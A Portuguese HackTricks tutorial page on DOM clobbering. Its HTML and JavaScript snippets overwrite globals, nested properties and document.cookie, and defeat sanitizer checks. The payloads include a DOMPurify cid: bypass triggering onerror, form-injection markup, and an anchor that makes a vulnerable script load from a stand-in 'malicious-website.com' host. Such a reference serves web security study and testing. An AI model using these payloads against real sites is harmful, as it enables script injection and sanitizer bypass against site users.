14 KiB
Dom Clobbering
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira produtos oficiais PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Fundamentos
É possível gerar variáveis globais dentro do contexto JS com os atributos id
e name
em tags HTML.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Apenas certos elementos podem usar o atributo name para clobber globals, eles são: embed
, form
, iframe
, image
, img
e object
.
Curiosamente, quando você usa um elemento de formulário para clobber uma variável, você obterá o valor toString
do próprio elemento: [object HTMLFormElement]
, mas com âncora o toString
será o href
da âncora. Portanto, se você clobber usando a tag a
, você pode controlar o valor quando ele é tratado como uma string:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Arrays e Atributos
Também é possível sobrescrever um array e atributos de objetos:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
Para sobrescrever um terceiro atributo (por exemplo, x.y.z), você precisa usar um formulário
:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Sobrescrever mais atributos é mais complicado, mas ainda é possível, usando iframes:
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} A tag de estilo é usada para dar tempo suficiente para o iframe ser renderizado. Sem ela, você encontrará um alerta de indefinido. {% endhint %}
Para clobber atributos mais profundos, você pode usar iframes com codificação html desta maneira:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
Burlando Filtros
Se um filtro está percorrendo as propriedades de um nó usando algo como document.getElementByID('x').attributes
, você pode sobrescrever o atributo .attributes
e quebrar o filtro. Outras propriedades do DOM como tagName
, nodeName
ou parentNode
e outras também são sobrescrevíveis.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
Clobbering window.someObject
Um padrão comum usado por desenvolvedores JavaScript é:
var someObject = window.someObject || {};
Se você pode controlar parte do HTML na página, pode sobrescrever a referência someObject
com um nó DOM, como um link. Considere o seguinte código:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Para explorar este código vulnerável, você poderia injetar o seguinte HTML para sobrescrever a referência someObject
com um elemento de âncora:
{% code overflow="wrap" %}
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
{% endcode %}
Injetar os dados window.someObject.url
resultará em href=//malicious-website.com/malicious.js
.
Truque: DOMPurify
permite que você use o protocolo cid:
, que não codifica em URL as aspas duplas. Isso significa que você pode injetar uma aspa dupla codificada que será decodificada em tempo de execução. Portanto, injetar algo como <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
fará com que a aspa dupla codificada "
seja decodificada em tempo de execução e escape do valor do atributo para criar o evento onerror
.
Outra técnica comum consiste em usar o elemento form
. Algumas bibliotecas do lado do cliente passarão pelos atributos do elemento de formulário criado para sanitizá-lo. Mas, se você criar um input
dentro do formulário com id=attributes
, você irá sobrescrever a propriedade de atributos e o sanitizador não poderá passar pelos atributos reais.
Você pode encontrar um exemplo desse tipo de sobrescrita em um writeup de CTF.
Sobrescrevendo o objeto document
De acordo com a documentação, é possível sobrescrever atributos do objeto document usando o DOM Clobbering:
A interface Document suporta propriedades nomeadas. Os nomes de propriedade suportados de um objeto Document em qualquer momento consistem no seguinte, em ordem de árvore de acordo com o elemento que os contribuiu, ignorando duplicatas posteriores, e com valores de atributos id vindo antes de valores de atributos de nome quando o mesmo elemento contribui ambos:
- O valor do atributo de conteúdo de nome para todos os elementos expostos embed, form, iframe, img e expostos object que têm um atributo de conteúdo de nome não vazio e estão em uma árvore de documentos com o documento como sua raiz;
- O valor do atributo de conteúdo id para todos os elementos expostos object que têm um atributo de conteúdo id não vazio e estão em uma árvore de documentos com o documento como sua raiz;
- O valor do atributo de conteúdo id para todos os elementos img que têm tanto um atributo de conteúdo id não vazio quanto um atributo de conteúdo de nome não vazio, e estão em uma árvore de documentos com o documento como sua raiz.
Usando essa técnica, você pode sobrescrever valores comumente usados, como document.cookie
, document.body
, document.children
, e até mesmo métodos na interface Document, como document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Escrevendo após o elemento clobbered
Você pode clobber os resultados de uma chamada document.getElementById()
e document.querySelector()
se você injetar uma tag <html>
ou <body>
com o mesmo atributo id. Aqui está um exemplo:
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
O que também é interessante é que você pode ocultar elementos do innerText
, então se você injetar uma tag HTML/body, você pode usar estilos para ocultá-la do innerText
para evitar que outro texto interfira no seu ataque:
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
Analisamos também o SVG e é possível usar a tag <body>
lá:
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
Você precisa de uma tag <foreignobject>
para usar a tag HTML dentro do SVG no Chrome e no Firefox:
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
Clobbering de Formulários
É possível adicionar novas entradas dentro de um formulário apenas especificando o atributo form
dentro de algumas tags. Você pode usar isso para adicionar novos valores dentro de um formulário e até mesmo adicionar um novo botão para enviá-lo (clickjacking ou abusando de algum código JS .click()
):
{% code overflow="wrap" %}
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- Para mais atributos de formulário em botão verifique isso.
Referências
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- Heyes, Gareth. JavaScript para hackers: Aprenda a pensar como um hacker.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.